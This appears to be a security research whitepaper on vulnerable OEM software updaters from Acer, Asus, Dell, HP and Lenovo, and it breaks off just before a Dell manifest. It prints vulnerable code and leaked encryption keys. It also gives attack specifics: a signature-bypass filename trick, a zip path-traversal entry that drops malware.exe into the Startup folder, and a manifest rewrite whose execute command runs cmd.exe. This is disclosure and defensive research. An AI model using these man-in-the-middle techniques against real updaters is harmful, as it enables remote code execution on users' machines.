

Out-of-Box Exploitation

A Security Analysis of OEM Updaters

Darren Kemp
Chris Czub
Mikhail Davidov



Contents

INTRODUCTION	1
OEM Software Updaters — Why Research Bloatware?	2
OUR FINDINGS	3
Lack of Established Best Practices	3
Common Themes and Problems	4
METHODOLOGY	5
TECHNICAL OVERVIEW	6
Fragmented Ecosystem	6
Updaters & Windows Signature Edition	7
Lack of TLS	7
Unsigned Manifests & Weak Integrity Checks	7
Code Signing Validation Issues	8
Silent Updates	8
Ridiculous Obfuscation & Pointless Encryption Features	8
VENDOR-SPECIFIC OBSERVATIONS AND VULNERABILITIES	9
Acer	10
Acer Care Center Live Update	10
Asus	15
Asus Live Update	15
Dell	18
eDellRoot Certificate Problem	18
Dell Update	18
Dell Foundation Services SelfUpdate	20
Hewlett-Packard	23
HP Support Solutions Framework	23
HP Download and Install Assistant	25
Lenovo	27
UpdateAgent	27
Lenovo Solutions Center	28
MITIGATING STRATEGIES	31
Users	31
OEM Vendors	31
CONCLUSION	32
VULNERABILITIES	33

Introduction

Original Equipment Manufacturer (OEM) vendors refer to the initial startup process of a new computer as the 'out-of-box experience,' or OOBE. While the process varies by OEM vendor, the experience is the same: wait for pre-loaded software to start up and force you to click through product registration and 30 day trial prompts.

The OEM software landscape is complicated and includes a depressing amount of superfluous tools for vendor support, free software trials, and other vendor-incentivized crapware. Some apps do nothing more than add a shortcut to launch your web browser to a specific site.

The OOBE experience is annoying to most people for a number of reasons. In addition to wasting disk space, consuming ram, and generally degrading the user experience, OEM software often has serious implications on security. A few examples include [Superfish](#), preinstalled adware on Lenovo computers. The [eDellRoot](#) fiasco made a mess of the Windows root certificate store for Dell users.

Every time something like this happens, we are reassured that the offending vendor of the day cares deeply about our security and privacy. Unfortunately, a cursory analysis of most OEM software reveals that very limited, if any security review was performed.

Pre-loaded OEM software has serious implications on security.

OEM Software Updaters — Why Research Bloatware?

OEM PC vendors understandably need a way to maintain and install more of the aforementioned bloatware. The Duo Labs team investigated OEM software update tools spanning five vendors: Acer, Asus, Dell, HP, and Lenovo.

Implementing a robust, secure system for delivering software updates to users requires a thorough threat model, and a fundamental understanding of how to correctly make use of the various cryptosystems available to do so. Many OEM vendors don't seem to understand or care about the need for building basic security measures into their software, resulting in software rife with vulnerabilities.

Whether it's a [creep on the coffee shop WiFi](#) or a nation state sitting on all the right trunks, any software that downloads and executes arbitrary binaries is an enticing target to attackers. This is a well-established fact — in 2006, some dude broke [Mozilla's Auto-Update](#); in 2010, there was [Evilgrade](#); in 2012, [Flame](#) malware authors discovered how to man-in-the-middle (MITM) Windows Update; and in January 2016, there was the [Sparkle](#) debacle. This shows that targeting the transmission of executable files on the wire is a no-brainer for attackers.

A decade ago, we were all cursing Microsoft for the state of Windows security - but Windows has come leaps and bounds since the famed [Trustworthy Computing Initiative memo](#) in 2002. Comparably, Windows 10 is a hard target, plain and simple, and it's only going to keep getting harder.

It doesn't take much for one piece of software to negate the effectiveness of many, if not all defenses. One non-ASLR DLL, a predictably mapped RWX memory segment, a trivially exploitable command injection bug — these all make an attacker's life easier — and OEM software is full of them.

Rob Joyce, Chief of NSA's TAO group made [abundantly clear](#) what most of us already know: why do what's difficult and risky when you simply don't have to? Hacking in practice means taking the path of least resistance, and OEM software is often a weak link in the chain. All of the sexy exploit mitigations, desktop firewalls, and safe browsing enhancements can't protect you when an OEM vendor cripples them with pre-installed software.

It's well-known within the security research community that OEM software is a vulnerability minefield, but finding them is not particularly exciting. But that's also why OEM software has remained a major security problem — so we decided to dig deep to find out just how bad the issue is, and provide recommendations for consumers to protect themselves against the security gaps and annoyance that bloatware presents.

The scope of this research paper is limited to OEM updaters, although this wasn't the only attack surface found on these systems. Basic reverse engineering uncovered flaws that affected every single vendor reviewed, often with a very low barrier to both discovery and exploitation.

Our Findings

The situation isn't great for consumers. We discovered a number of common trends and systemic problems spanning most of the implementations we looked at.

In total, we identified and reported twelve different vulnerabilities across all of the vendors. At the end of this paper there is a table outlining each individual vulnerability but at a high level we found the following:

Dell	One high-risk vulnerability involving lack of certificate best practices, known as eDellroot.
Hewlett Packard	Two high-risk vulnerabilities that could have resulted in arbitrary code execution on affected systems. In addition, five medium-to-low risk vulnerabilities were also identified.
Asus	One high-risk vulnerability that allows for arbitrary code execution, as well as one medium-severity local privilege escalation.
Acer	Two high-risk vulnerabilities that allow for arbitrary code execution.
Lenovo	One high-risk vulnerability that allows for arbitrary code execution.

Lack of Established Best Practices

During the course of this research, we realized that while there are plenty of good updating implementations, there is very little public guidance for developers on how to implement one.

This may explain why, though some vendors took more proactive steps to secure their update tools, they were often tripped up by silly mistakes.

What exactly is considered best practice when writing an updater? Microsoft's existing Windows Update facilities are locked down to driver updates and cannot be leveraged to maintain auxiliary applications. While the Windows Store does provide a means to do so, it has yet to take off in the ecosystem.

While not exclusive to just updaters, we often saw OEM software packages implement the same thing in many different ways — HP's software, for example, exposed APIs via a variety of methods: local HTTP servers, URI handlers, named pipes, and COM servers. Whereas Dell brought in a third-party application, "PC-Doctor," which required a custom device driver.

While there is arguably no canonical guide to implementing OEM support tools, many of the implementations were "hacky" to say the least, either out of ignorance or necessity.

We identified 12 vulnerabilities across all vendors related to OEM software.

There is very little public guidance for developers on how to implement OEM updaters.

Common Themes and Problems

- Every vendor shipped with a preinstalled updater, that had at least one vulnerability resulting in arbitrary remote code execution as SYSTEM, allowing for a complete compromise of the affected machine.
- There was a very low level of technical sophistication required - that is, it was trivial to exploit most of the vulnerabilities
- Vendors often failed to make even basic use of TLS, properly validate update integrity, or verify the authenticity of update manifest contents.
- Vendors sometimes had multiple software updaters for different purposes and different implementations, some more secure than others.
- The large attack surface presented by ancillary OEM software components makes updater-specific bugs easier to exploit in practice by providing the missing pieces of the puzzle through other tools bundled with their systems.
- Microsoft offers 'Signature Edition' systems which are intended to be free of the third-party software that plagues so many OEM systems. However, OEM-supplied software updaters and support packages are often still present on these machines.

Every vendor shipped with a vulnerable preinstalled updater that could allow for complete compromise of the affected machine.

Methodology

We focused primarily on the effects of a man-in-the-middle (MITM) attack, taking an adversarial approach to each OEM's updater. This is both the simplest and most obvious attack a real-world adversary is likely to attempt.

While we did identify some edge-case issues like local privilege escalation vulnerabilities, we decided to focus primarily on remote attack surface. In some instances, we did leverage other OEM components, not directly related to updater functionality in combination with updater flaws to gain remote code execution.

All systems were running either Windows 8.1 or 10. Note in some cases, the systems running Windows 8.1 attempted to upgrade to Windows 10. For the purpose of this research, we did not allow the upgrade to take place. The following systems were assessed in both their out-of-box configuration and after any pending updates were applied:

1. Lenovo Flex 3
2. HP Envy
3. HP Stream x360 (Microsoft Signature Edition)
4. HP Stream (UK version)
5. Lenovo G50-80 (UK version)
6. Acer Aspire F15 (UK version)
7. Dell Inspiron 14 (Canada version)
8. Dell Inspiron 15-5548 (Microsoft Signature Edition)
9. Asus TP200S
10. Asus TP200S (Microsoft Signature Edition)

Application-specific updaters were not assessed directly. It is important to note that OEM vendors often install other third-party applications which, in turn, update themselves through different channels than either the OEM vendor or Microsoft.

We focused on man-in-the-middle attacks — the simplest and most obvious attack a real-world adversary would likely attempt.

Technical Overview

The ad-hoc development process for some of these OEM systems was obvious once we took a look under the hood. Overly complicated component interactions and redundant features led us to believe the teams responsible for implementing bundled software had little guidance or code review.

During our research, we were often greeted by an intricate mess of system services, web services, COM servers, browser extensions, sockets, and named pipes. Many confusing design decisions made us wonder if projects were assembled entirely from poor stackoverflow posts.

Generally, OEMs made similar design decisions that resulted in nearly identical implementation flaws across vendors. Here, we've documented the most common security issues as they apply to OEM updaters as a whole.

OEMs made similar design decisions resulting in nearly identical implementation flaws across vendors.

Fragmented Ecosystem

OEM software installations cover a variety of system configurations, with various models containing different combinations of support tools and promotional applications, making it difficult to track what systems are exposed to which flaws and for how long. Plus, updates were not always immediately applied during the OOBE, resulting in exposure to flaws already known to the vendor for which fixes were available.

The complexity of interactions between OEM-supplied software components occasionally hindered analysis. This was the case with HP, who bundled significantly more proprietary components than any other vendor. The chaotic mess of dependencies between the various services and stand-alone executables, which frequently executed one another as child processes, made it unclear what the responsibilities of each component was.

Furthermore, some vendors (Dell, HP, Lenovo) had multiple update systems and tools for their own products with varying implementations, retrieving software from different sources. Security features and update behavior is not even consistent across one system, let alone one vendor. Just because one update path appeared to be secure did not mean they all were.

This was especially notable with both HP and Lenovo. Lenovo had one updater that appeared to be hardened against MITM attacks, while another was devoid of any security precautions whatsoever.

To compound the issue even further, OEMs sometimes installed (via updaters) or bundled third-party applications that had their own update mechanisms. While we did not investigate these update mechanisms directly, it speaks to the sprawling attack surface posed by third-party software.

Updaters & Windows Signature Edition

Microsoft offers 'Signature Edition' systems which are intended to be free of much of the third-party software that plagues so many users. This is absolutely a step in the right direction, however, this does not guarantee that Signature Edition systems are free of **all** third party components. They often still include specific vendor-supplied drivers, tools, and of course OEM-supplied software updaters. This makes OEM updaters a more prevalent target than many other pieces of bloatware given their potentially wider distribution.

Lack of TLS

The most inexcusable issue we identified was the lack of TLS to transfer executable files and manifests. While vendors like HP and Dell often transmitted files over HTTPS, Acer and Asus made no such attempts. With the exception of Dell, all vendors transmitted their manifests over HTTP.

In conjunction with broken and, in some cases, non-existent code signing checks, this results in the ability to trivially modify or replace files and manifests in transit. **Consistent use of HTTPS and certificate pinning would have significantly raised the bar to exploitation for every single vendor.**

Unsigned Manifests & Weak Integrity Checks

With the exclusion of Dell, every vendor we looked at provides a manifest file transmitted over HTTP to inform their systems of new packages and software updates. The most common issue we identified was the lack of integrity validation of those manifest files -- almost no vendors we looked at took this security precaution. The only exception was one of Lenovo's two updaters, which uses a signed manifest; unfortunately, the second updater does not.

The primary attack would be to MITM the manifest and modify it to deny users important updates or piggyback on the update system to install malicious software. Simpler attacks were also possible, as manifests often contain inline commands required to execute update packages. Once again, a trivial modification of the manifest could be used to execute arbitrary commands required to execute update packages.

Vendors often specified an inline hash or checksum of the relevant packages or executables specified in their manifest files. While this is a logical design decision, it does not matter if you can simply patch the expected value because the authenticity of the manifest was not validated. **You cannot validate the integrity of the update if you cannot validate the authenticity of the manifest.**

This problem is particularly well demonstrated when considering one of HP's update tools. HP went through the effort of validating that installation commands specified in their manifest were only executed if they had a valid HP signature. What HP did not consider was that the ability to execute arbitrary applications that are signed by HP can be just as harmful.

OEM updaters are a more prevalent target than many other pieces of bloatware given their potentially wider distribution.

Almost no vendors we analyzed validated the integrity of manifest files.

This particular oversight is pretty egregious if you consider the fact that **signing the manifest and subsequently validating its integrity on the client-side would have prevented most attacks we identified.**

Code Signing Validation Issues

Microsoft Windows supports the signing of executables and software packages through [Authenticode](#). In many cases, OEMs simply failed to validate that the executables their updaters were executing were published by an expected, trusted source. In other cases (Dell) Authenticode validation was attempted, but not performed correctly — validating that the executable was signed, but not actually validating the certificate chain.

Silent Updates

Some vendors allow for the installation of updates without explicit notification to the user; this is sometimes a flag in the update manifest or simply a property of how the updater behaves. While this is not explicitly a vulnerability in itself, this behavior is advantageous to attackers. With no indication to the user when new updates or software have been installed and for what purpose, it may be difficult for the end user to identify unwanted applications.

Some vendors allow for installation of updates and software without notifying the user.

Ridiculous Obfuscation & Pointless Encryption Features

Some vendors (Asus, Dell) used obfuscation techniques to store encrypted versions of strings and configuration data in the registry, files or the update tools themselves. All of these obfuscation attempts were trivial to reverse engineer and did nothing to support the application or its security. Most of this functionality is just a poor attempt to either hide the endpoints used for staging and beta testing, or to obfuscate configuration file contents.

For example, consider the following Dell code, used to obfuscate the URI's that are used to retrieve the update catalog:

```
result = EncryptManager.DecryptAES(catalogUri,
    StronglyTypedResourceBuilder.EncryptKey);
```

```
EncryptKey = "D#$$^ELL"
```

While this sort of behavior is not an inherent security problem, doing things like storing encrypted blobs of data in the registry or encrypting configuration files demonstrates a general lack of transparency and a security-by-obscurity mentality.

Vendor-Specific Observations and Vulnerabilities

OEM vendor and software version	Manifest Transmitted Over TLS	Signed Manifest	Updates Transmitted Over TLS	Authenticode Validation
Acer	✗	✗	✗	✗
Asus	✗	✗	✗	✗
Dell DFS 2.1.3.1	✓	✗	✓	✗
Dell DFS 2.4.3.0	✓	✗	✓	✓
Dell Update 1.8.114.0	✓	✗	✓	✓
Hewlett-Packard HPSF 8	✗	✗	✓	✓
Lenovo UpdateAgent 1.0.0.4	✗	✗	✗	✗
Lenovo Solution Center 3.1.001	✓	✓	✓	✓

Acer

Acer provides updates through the “Acer Care Center,” a platform for providing product support and updates to Acer clients. Acer made some attempts to harden their update process against potential MITM attacks by implementing package signing. However, they were bitten by implementation flaws which rendered their package signing features ineffective.

Acer Care Center Live Update

Pending Acer Care updates are obtained by polling a manifest from `ws.gtm.acer.com`. The resulting XML document exposes a wide variety of update functionality ranging from application updates to direct firmware updates.

Acer Care updates are delivered via “FixPack” packages, which are just zip files containing an internal package manifest and the associated update executables. The contents of the FixPack are partially signed in an attempt to prevent undesirable executables from being installed. An example Acer Care Update manifest is as follows:

```
<?xml version="1.0" encoding="utf-8"?>
<AcerLiveUpdate Version="1.0">
  <AcerMsg Msg="" />
  <Application />
  <BIOS />
  <Document />
  <Driver />
  <Hidden />
  <OS />
  <Patch />
</AcerLiveUpdate>
```

Acer's implementation flaws rendered their package signing features ineffective.

An example of populated content for a given application can be seen in the following HTTP transaction:

```
GET /ServerInfo/EN/ALU_APP/ALU_APP_10M1_EN.xml HTTP/1.1
Host: ws.gtm.acer.com
Acer: 1DA39A3EE5E6B4B0D3255BFEEF95601890AFD807098D38A9A0A1A606260
SN: NXG9ZEK00153728FEE7600
RT: 1
User-Agent: ACC_2.00.3005_195978B69C394437CEF
Content-Length: 2

HTTP/1.1 200 OK
Content-Type: text/xml
Server: Microsoft-IIS/7.0
ALURC: 0
X-Powered-By: ASP.NET
Date: Thu, 04 Feb 2016 20:33:40 GMT
Content-Length: 9195

<?xml version="1.0" encoding="utf-8"?><AcerLiveUpdate Version="1.0"><AcerMsg
Msg="?Step1=Test&Step2=Test&Step3=alu_app&OS=10m1&LC=en&SN="
/><Application><Node ObjID="48182878" FileID="173568"
RO="AAP_1;AAP_10;AAP_10E;AAP_10G;AAP_11;AAP_1E;AAP_1G;AAP_2;AAP_2E;AAP_2G;AAP_3;AAP_3E;AAP_3
G;AAP_4;AAP_4E;AAP_4G;AAP_5;AAP_5E;AAP_5G;AAP_6;AAP_6E;AAP_6G;AAP_7;AAP_7E;AAP_7G;AAP_8;AAP
8E;AAP_8G;AAP_9;AAP_9E;AAP_9G;CHINA_1;CHINA_1E;CHINA_1F;CHINA_1G;CHINA_2;CHINA_2E;CHINA_2F;C
HINA_2G;EMEA_1;EMEA_10;EMEA_11;EMEA_11E;EMEA_11P;EMEA_12;EMEA_12E;EMEA_12P;EMEA_13;EMEA_13E;
EMEA_13P;EMEA_14;EMEA_14E;EMEA_14P;EMEA_15;EMEA_15E;EMEA_16;EMEA_16E;EMEA_16P;EMEA_17;EMEA_1
7E;EMEA_17P;EMEA_18;EMEA_18E;EMEA_18P;EMEA_19;EMEA_19E;EMEA_19P;EMEA_1E;EMEA_2;EMEA_20;EMEA_
20E;EMEA_20P;EMEA_21;EMEA_21E;EMEA_21P;EMEA_22;EMEA_22E;EMEA_23;EMEA_23E;EMEA_23P;EMEA_24;EM
EA_24E;EMEA_24P;EMEA_25;EMEA_25E;EMEA_25P;EMEA_26;EMEA_26E;EMEA_27;EMEA_27E;EMEA_27G;EMEA_27
P;EMEA_28;EMEA_28E;EMEA_2E;EMEA_3;EMEA_3E;EMEA_3P;EMEA_4;EMEA_4P;EMEA_5;EMEA_5E;EMEA_5P;EMEA
_6;EMEA_6P;EMEA_7;EMEA_7E;EMEA_7P;EMEA_8;EMEA_8E;EMEA_8P;EMEA_9;EMEA_9E;EMEA_9P;PA_1;PA_2;PA
_2E;PA_2G;PA_3;PA_3E;PA_4;PA_4E;PA_4G;PA_5;PA_6;PA_6E;PA_6G;PA_7;TWN_1;TWN_1E;TWN_1G;"
Name="Firefox Settings" Class="FixPack" Version="1.0" FileSize="32351"
InstallFile="Application\FixPack\635853973417388254_FixPack_Acer_1.0_W10x86W10x64_A.zip"
ExecuteCmd="FpInstall.bat" Reboot="N" InstallType="P" Publisher="Acer" Description="Firefox
Settings" GUID="{560C6B7F-B010-4D48-AA39-F066D61F2938}" R2="" R3="" R4="" R5="" R6=""
R7="11546" R8="20229" R9="3" RA="~~"></Node>
<!-- ... --> </Application></AcerLiveUpdate>
```

The FixPack contains a package-specific manifest file named `fpex.xml`, which specifies update details and DSA signature information about the package. An example FixPack manifest is as follows:

```
<?xml version="1.0" encoding="UTF-8"?>
<FixpackExtension>
  <Validation>
    <Pattern>tSBHk40AgCVYP5QYc1d6Kf+HdoT+ww7w+74QKwQ09WgjKRk7XG/QTQ==</Pattern>
    <Files>
      <File>FirefoxHelper.exe</File>
      <File>FixpackInfo.xml</File>
      <File>FpInstall.bat</File>
      <File>HTTP2GA.exe</File>
    </Files>
  </Validation>
  <UserBehaviors>
    <MaximumIgnoreTimes>5</MaximumIgnoreTimes>
  </UserBehaviors>
  <Config>
    <Shutdown>False</Shutdown>
  </Config>
</FixpackExtension>
```

UNSIGNED MANIFEST

The ability to modify the manifest in transit enabled the exploitation of subsequent flaws in the validation of archive contents. Specifically, exploitation of the validation flaws required the ability to specify which executable (`ExecuteCmd`) to run from inside the package.

ARCHIVE SIGNATURE VERIFICATION BYPASS

Update packages are signed and as part of the signature verification process, the list of executable files is retrieved from the package's manifest (`fpex.xml`) and a DSA signature is validated to ensure they are an expected part of the archive. However, a logic flaw allows an attacker to craft a manifest which can bypass this check, and deliver and execute unverified third-party code, leading to remote code execution as `SYSTEM`.

A logic flaw allows an attacker to bypass the signature verification process for update packages and execute unverified remote code.

An incorrect assumption about the naming convention within update zip files can lead to remote code execution, given an attacker can MITM HTTP traffic. The function that performs the verification is `Acer.CareCenter.LiveUpdate.Launcher.VerifyFolderDSA()`. The vulnerable code in question is:

```
for (int i = 0; i < includedFiles.Length; i++)
{
    if (!includedFiles[i].Contains("fpex.xml"))
    {
        fs = new FileStream(includedFiles[i], FileMode.Open, FileAccess.Read);
        fs.Position = 0L;
        byte[] array = rIPEMD.ComputeHash(fs);
        int num = 0;
        while ((long)num < array.LongLength)
        {
            arrayList.Add(array[num]);
            num++;
        }
        fs.Close();
    }
}
```

The usage of the `Contains()` method in: `if (!includedFiles[i].Contains("fpex.xml"))` facilitates the exploitation of this flaw.

For instance, if `fpex.xml` contains a `<File/>` entry for `"fpex.xml.totallynotmalware.exe"`, it would effectively be whitelisted for execution by its presence in the `includeFiles` array, but would skip all signature verification. This ultimately leads to silent execution as the `SYSTEM` user.

UPDATE ARCHIVE DIRECTORY TRAVERSAL

Due to a directory traversal issue while processing zip archives, the attacker is able to gain remote code execution through arbitrary file system writes. The vulnerable function in question is Acer.CareCenter.LiveUpdate.UnZipper.UnZipTo():

```
public static void UnZipTo(Stream zipStream, string destinationPath)
{
    if (!Directory.Exists(destinationPath))
    {
        Directory.CreateDirectory(destinationPath);
    }
    foreach (UnZipper.UncompressedFile current in UnZipper.UnZip(zipStream))
    {
        FileInfo fileInfo = new FileInfo(Path.Combine(destinationPath, current.Name));
        if (!Directory.Exists(fileInfo.DirectoryName))
        {
            Directory.CreateDirectory(fileInfo.DirectoryName);
        }
        if (fileInfo.Name != "")
        {
            using (Stream stream = File.Open(fileInfo.FullName, FileMode.Create,
            FileAccess.Write))
            {
                UnZipper.CopyStream(stream, current.Stream);
            }
        }
    }
}
```

No checks are performed for the validity of filenames within the archive. As such, an attacker can craft a zip file with a filename that contains a relative path to traverse outside of the parent folder. For example, consider a zip archive containing a file with the following path:

```
“..\..\..\..\..\..\..\..\..\..\Users\\All Users\\Start
Menu\\Programs\\Startup\\malware.exe”
```

This would write an executable to the Windows startup folder that would persist on disk and be executed at next boot.

NO AUTHENTICODE VALIDATION

Executables packaged by the updater are not validated to ensure they are signed by an expected, trusted party. This makes it trivial to patch or replace executables in transit, leading to remote code execution.

LACK OF TLS

Packages are transmitted in the clear (HTTP), making modification in transit trivial. In conjunction with other issues, this makes remote code execution possible.

Asus

Asus appears to be one of the worst OEMs we looked at, providing attackers with functionality that can only be referred to as remote code execution as a service. The “Asus Live Update” software contains no security features whatsoever, allowing for easy exploitation. Oh yeah, we should probably mention they use this atrocity to push out BIOS updates too.

Asus Live Update

Asus provides updates through Asus Live Update and updates are triggered through the task scheduler, which starts the execution of UpdateChecker.exe with Administrator privileges. Once a user logs in, and every hour thereafter, the Live Update service will poll liveupdate01.asus.com looking for new updates.

Asus Live Update retrieves two manifest files for the specific system model number. First, it attempts to retrieve an “encrypted” (more on this later) manifest with an “.ide” extension and in the event of failure, falls back to a plaintext version with an “.idx” extension. An example Asus Live Update manifest is as follows:

Asus Live Update contains no security features whatsoever — allowing for easy exploitation.

```
<product name="K53SJ">
<item name="ASUS GIFTBOX Desktop">
<description l_id="1033" title="ASUS Giftbox Desktop">ASUS Giftbox introduce valuable
preinstalled apps and exclusive promotion.</description>
<description l_id="1028" title="ASUS Giftbox Desktop">專為華碩筆電的使用者精心挑選的應用程式，介紹
華碩開發的應用程式以及預裝的應用程式。</description>
<description l_id="2052" title="ASUS Giftbox Desktop">专为华硕笔电的用户精心挑选的应用程序，介绍华
硕开发的应用程序以及预装的应用程序。</description>
<type> AP </type>
<os> Win8_1,Win8_1(64),Win10,Win10(64) </os>
<version> V1.1.6 </version>
<size> 1266151 </size>
<release-date> 1439164800 </release-date>
<zip-path> pub/ASUS/nb/UX302LG/ASUSGIFTBOXDesktopSetup_VER116.zip </zip-path>
<execute> msixec%/%qn /norestart /I ASUSGIFTBOXDesktopSetup.msi </execute>
<uninstall> msixec%/%qn /norestart /x {4701E5AB-AF91-4D40-8F18-358CC80E4E5B} </uninstall>
<index> 1 </index>
<assistant> SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4701E5AB-AF91-
4D40-8F18-358CC80E4E5B}\DisplayVersion </assistant>
<severity> 1 </severity>
</item>
</product>
```

UNSIGNED MANIFEST

Asus transmits their manifest over HTTP and does not make use of any sort of signing mechanism to enforce its integrity. By intercepting the manifest, an attacker can rewrite it to execute arbitrary commands with administrative privileges. An example MITM attack is as follows:

- An increased version number is presented, forcing the processing of the update.
- Set the update severity to “critical” so that it gets processed immediately and without any user intervention.
- Change the execute parameter to be whatever we would like, such as “cmd.exe%%/K calc”.

WEAK ENCRYPTION

Now, what about that encrypted manifest? Unfortunately, the encryption utilized is RC4 with the pre-shared key “e8fded24af79202d7da48adefe4a3a04”, which is the MD5 hash for “Asus Live Update.” As this layer of encryption boils down to simple obfuscation that can be dealt with on the fly, it provides no security value.

NO AUTHENTICODE VALIDATION

Executables retrieved by the updater are transmitted in the clear and no attempts are made to validate their authenticity or integrity on the client side. This makes it trivial to patch or replace executables in-transit, leading to remote code execution.

An attacker can intercept an Asus manifest sent over HTTP, and rewrite it to execute commands.

It's trivial to patch or replace executables in-transit, leading to remote code execution.

LACK OF TLS

Why not just use TLS with certificate pinning to help ensure the authenticity and integrity of executables and manifests? Good question. It looks like Asus tried to add TLS support, but didn't quite finish it, as evidenced by the following code snippet from the update URL generator:

```
{
  if ( TestMode )
  {
    if ( ShouldUseHttps == 1 )
    {
      dosprintf(&uriEncryptedFile, L"%s%s.ide", L"https://localhost/pub/ASUS/LiveUpdate/Release/
      Notebook/", model);
      dosprintf(&uriIndexFile, L"https://localhost/pub/ASUS/LiveUpdate/Release/Notebook/", model);
    }
    else
    {
      dosprintf(&uriEncryptedFile, L"%s%s.ide", L"http://localhost/pub/ASUS/LiveUpdate/Release/
      Notebook/", model);
      dosprintf(&uriIndexFile, L"https://localhost/pub/ASUS/LiveUpdate/Release/Notebook/", model);
    }
  }
  else
  {
    dosprintf(
      &uriEncryptFile,
      L"%s%s.ide",
      L"http://liveupdate01.asus.com/pub/ASUS/LiveUpdate/Release/Notebook/",
      model);
  }
  dosprintf(&v49, L"%s%s.ide", L"http://dlcdnet.asus.com/pub/ASUS/LiveUpdate/Release/Eee Book/",
  model);
  dosprintf(&v49, L"%s%s.idx", L"http://dlcdnet.asus.com/pub/ASUS/LiveUpdate/Release/Eee Book/",
  model);
}
```

Dell

We looked at two updaters for Dell, the first being the stand-alone Dell Update software, and the second being the update plugin for Dell Foundation Services (DFS).

Both Dell updaters fared well in our testing, notably they were the only vendor who provided their updates and manifests over TLS. This makes the likelihood of a trivial MITM attack much less likely (eDellRoot issues aside).

Furthermore, during the course of our testing, Dell published a new version of DFS (built on January 15, 2016) that silently fixed a number of issues we had identified before we could report them.

eDellRoot Certificate Problem

By far the most significant issue we identified with Dell was the eDellRoot root certificate which we published an [analysis](#) of in November, 2015. Dell accidentally shipped a self-signed root certificate and the associated private key to users with DFS installed. The eDellRoot certificate is somewhat of a trump-card, as a rogue root certificate negates the effectiveness of pretty much anything we use crypto for: HTTPS, Authenticode — none of it can be trusted.

This resulted in a short-lived but highly effective attack on the Dell updaters, among other things. Fortunately, Dell responded rather quickly to the eDellRoot vulnerability and provided [remediation steps](#) and an update to remove the certificate shortly thereafter.

Dell Update

Dell Update provides the primary method for updating applications, drivers and firmware on supported Dell systems. By default, it makes use of HTTPS for the transmission of executables and manifests. Dell Update also validates that executables are signed by Dell and that the certificate has not been revoked.

Dell is the only vendor that provided updates and manifests over TLS, making a trivial MITM attack less likely.

The most significant issue with Dell is the eDellRoot root certificate that acted as a trump card to anything we use crypto for.

Dell Update polls <https://dellupdater.dell.com/Catalog/Apps.xml> at regular intervals for application and driver updates. An example Dell Update manifest is as follows (truncated for brevity):

```
<AppCatalog><AppList ID="DellUpdateAppList" Version="1.0" Name="Dell Update App List for DU v1.4"
LastModifiedDate="20150828_XC_MYFILE">
<App ID="AB123" DisplayName="IntelME" Version="9.5.55.1948" OS="WB32,WB64,WT32,WT64"
LOB="ALL" SYSTEMID="0651,0652,0653,0662,065C" InternalDescription="IntelME"
ExternalDescription="IntelME" DellVersion="A00" ReleaseDate="20151111" Importance="Recommended"
RebootRequired="N" SilentInstall="Y" FileName="APP008/IntelMEUpWUB.exe" FileSize="1510360"
FileChecksum="0d5a8eab5f3ce0b062a750b1d73cd1c69678a6cc5398f097ce66523304f9bcb2" InstallIfAbsent="Y"
H="N"/>
<App ID="EDEL2" DisplayName="eDellRoot Removal" Version="9.5.55.1948"
OS="WB32,WB64,WT32,WT64,W764,W732" LOB="ALL" SYSTEMID="ALL" InternalDescription="eDellRoot
Removal" ExternalDescription="eDellRoot Removal" DellVersion="A00" ReleaseDate="20151111"
Importance="Recommended" RebootRequired="N" SilentInstall="Y" FileName="APP011/eDellRootCertFixNP2.
exe" FileSize="38080" FileChecksum="b635e6928fa9a084200162a1ab1eb670df616cadc9d65558b72f5f9f6bdb70e0"
InstallIfAbsent="Y" H="Y"/>
<App ID="DSDC2" DisplayName="DSD Cert Removal" Version="9.5.55.1948" OS="WB32,WB64,WT32,WT64,W764,W732"
LOB="ALL" SYSTEMID="ALL" InternalDescription="DSD Cert Removal" ExternalDescription="DSD
Cert Removal" DellVersion="A00" ReleaseDate="20151111" Importance="Recommended"
RebootRequired="N" SilentInstall="Y" FileName="APP011/DSDCertFix2.exe" FileSize="37056"
FileChecksum="9705a63a7df345f83ff8f6f0bfbfd24531b78845de17599ddd9d751a3d7704457" InstallIfAbsent="Y"
H="Y"/>
[...]
</AppList></AppCatalog>
```

This list of BIOS versions is retrieved from <https://dellupdater.dell.com/Catalog/Products.gz> in a separate request. This file has the following format (truncated for brevity):

```
<?xml version='1.0' encoding='utf-8'?>
<Catalog Version="1.0">
  <Product BiosSysID="0603" ID="dell-venue-11-pro" Name="Dell Venue 11 Pro (5130)" />
  <Product BiosSysID="066B" ID="dell-venue-11-pro-7000-7140" Name="Dell Venue 11 Pro Tablet" />
  <Product BiosSysID="0604" ID="dell-venue-11i-pro" Name="Dell Venue 11 Pro (7130/7139)" />
  <Product BiosSysID="0605" ID="dell-venue-11i-vpro" Name="Dell Venue 11 Pro (7130/7139)" />
  <Product BiosSysID="0630" ID="dell-venue-8-pro" Name="Dell Venue 8 Pro 5830" />
  <Product BiosSysID="069B" ID="dell-venue-8-pro-3845-tablet" Name="Venue 8 Pro 3000 Series Windows
Tablet" />
  <Product BiosSysID="0613" ID="inspiron-11-3137" Name="Inspiron 11 3137" />
  <Product BiosSysID="064D" ID="inspiron-11-3147-laptop" Name="Inspiron 11 3147" />
  <Product BiosSysID="068E" ID="inspiron-11-3148-laptop" Name="Inspiron 11 3148" />
  <Product BiosSysID="06C8" ID="inspiron-11-3152-laptop" Name="Inspiron 11 3000 2-in1 Series Special
Edition (3152)" />
  <Product BiosSysID="0701" ID="inspiron-11-3153-laptop" Name="Inspiron 3153 2-in-1" />
  <Product BiosSysID="06CA" ID="inspiron-11-3157-laptop" Name="Inspiron 11 3000 2-in-1 Series (3157)"
/>
  [...]
</Catalog>
```

While updates and manifests are transmitted by default over HTTPS, they are still accessible over HTTP. We did not identify any obvious protocol downgrade attacks. However, if explicitly specified in the configuration, Dell updaters will retrieve updates and manifests over a plain HTTP connection.

UNSIGNED MANIFEST

Dell Update does not sign their manifest, however, due to their use of HTTPS by default, it prevents trivial modification in transit.

Dell Foundation Services SelfUpdate

DFS can update itself through a plugin (SelfUpdate.dll) included with the software. DFS is also sometimes updated through the Dell Update service.

The original version of the update software that came with our laptop contained version 2.1.3.1 of DFS SelfUpdate. This version appeared to be flawed in a number of ways, lacking a lot of defense-in-depth features which we later received in the 2.4.3.0 DFS SelfUpdate.

Updates are triggered through an XML manifest, which is published on dellupdater.dell.com. The manifest and update endpoints used by Dell are HTTPS URI's hardcoded into the software. A manifest for a Dell Inspiron laptop follows (truncated for brevity):

While Dell Update doesn't sign their manifest, they use HTTPS by default, preventing trivial modification in transit.

```
